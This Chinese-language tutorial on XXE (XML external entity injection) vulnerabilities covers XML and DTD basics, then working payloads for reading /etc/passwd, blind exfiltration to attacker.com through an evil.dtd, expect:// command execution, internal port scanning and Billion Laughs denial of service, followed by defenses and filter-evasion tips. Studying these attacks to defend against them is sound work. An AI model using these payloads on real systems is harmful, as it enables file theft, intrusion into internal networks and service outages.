对于XXE漏洞的理解以及在实战中的利用
字数 1511 2025-08-11 08:36:04
XXE漏洞详解与实战利用指南
1. XXE漏洞概述
XXE (XML External Entity Injection) 全称为XML外部实体注入漏洞,是一种针对XML处理器的安全漏洞。攻击者通过构造恶意的XML实体,可以读取服务器上的任意文件、执行远程请求、进行端口扫描甚至导致拒绝服务攻击。
2. XML基础知识
2.1 XML基本概念
XML(可扩展标记语言)是一种用于存储和传输数据的标记语言,具有以下特点:
- 类似HTML但设计目的是传输数据而非显示数据
- 允许自定义标签和文档结构
- 必须有且只有一个根元素
- 严格区分大小写
2.2 XML文档结构
<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<!-- XML声明:版本、编码、是否独立 -->
<!DOCTYPE 根元素 [DTD定义]>
<!-- DTD部分,XXE漏洞所在 -->
<根元素>
<元素 属性="值">内容</元素>
</根元素>
2.3 XML注释与处理指令
- 注释:
<!-- 注释内容 -->(不允许嵌套) - 处理指令:
<?目标 指令?>(如<?xml version="1.0"?>)
3. DTD(文档类型定义)
3.1 DTD基本概念
DTD定义了XML文档的结构和合法元素,是XXE漏洞的关键所在。
3.2 DTD的三种应用形式
- 内部DTD:
<!DOCTYPE 根元素 [定义内容]>
- 外部DTD:
<!DOCTYPE 根元素 SYSTEM "DTD文件路径">
- 内外部DTD结合:
<!DOCTYPE 根元素 SYSTEM "DTD文件路径" [定义内容]>
3.3 DTD实体
实体是XML中用于定义重复使用内容的机制,分为:
- 内部实体:
<!ENTITY 实体名 "实体内容">
- 外部实体:
<!ENTITY 实体名 SYSTEM "URI">
- 参数实体(以%开头):
<!ENTITY %实体名 "值">
<!ENTITY %实体名 SYSTEM "URL">
- 公共实体:
<!ENTITY 实体名 PUBLIC "public_ID" "URI">
4. XXE漏洞利用方式
4.1 读取任意文件(有回显)
基本payload:
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>
实战案例1(PicoCTF 2023 SOAP):
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>
<ID>&xxe;</ID>
</data>
注意:确保Content-Type设置为application/xml
4.2 无回显XXE(Blind XXE)
利用外带数据通道提取数据:
方案1(使用外部服务器接收数据):
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd">
%remote;
%all;
%send;
]>
evil.dtd内容:
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://attacker.com/?data=%file;'>">
方案2(使用php://filter和base64编码):
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
%send;
]>
4.3 命令执行
需要PHP安装expect扩展(默认不安装):
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "expect://id">
]>
<data>&xxe;</data>
4.4 内网探测与端口扫描
探测端口:
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "http://internal-server:80">
]>
<data>&xxe;</data>
通过响应时间判断端口是否开放:
- 开放端口:响应时间短(如16ms)
- 关闭端口:响应时间长(如1047ms)
4.5 拒绝服务攻击(Billion Laughs攻击)
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!-- 继续扩展... -->
]>
<lolz>&lol9;</lolz>
5. 防御措施
-
禁用外部实体:
- PHP:
libxml_disable_entity_loader(true); - Java:设置
DocumentBuilderFactory的setFeature("http://xml.org/sax/features/external-general-entities", false)
- PHP:
-
使用安全的XML解析器:
- 使用DOM或SAX解析器而非SimpleXML
- 使用JSON替代XML
-
输入验证与过滤:
- 过滤
<!DOCTYPE和<!ENTITY等关键字 - 限制XML文档大小
- 过滤
-
服务器配置:
- 限制外部网络访问
- 使用Web应用防火墙(WAF)
6. 实战技巧
-
Content-Type设置:确保请求头设置为
application/xml -
文件路径:
- Linux:
file:///etc/passwd - Windows:
file:///c:/windows/win.ini
- Linux:
-
特殊协议:
php://filter/read=convert.base64-encode/resource=file.phphttp://用于SSRF
-
编码绕过:
- 使用UTF-16编码绕过某些过滤器
- 使用CDATA节绕过字符限制
7. 总结
XXE漏洞是一种危险的漏洞类型,可以导致严重的信息泄露和服务器端请求伪造。理解XML和DTD的工作原理是发现和利用XXE漏洞的关键。防御XXE需要从代码层面和服务器配置层面进行多重防护。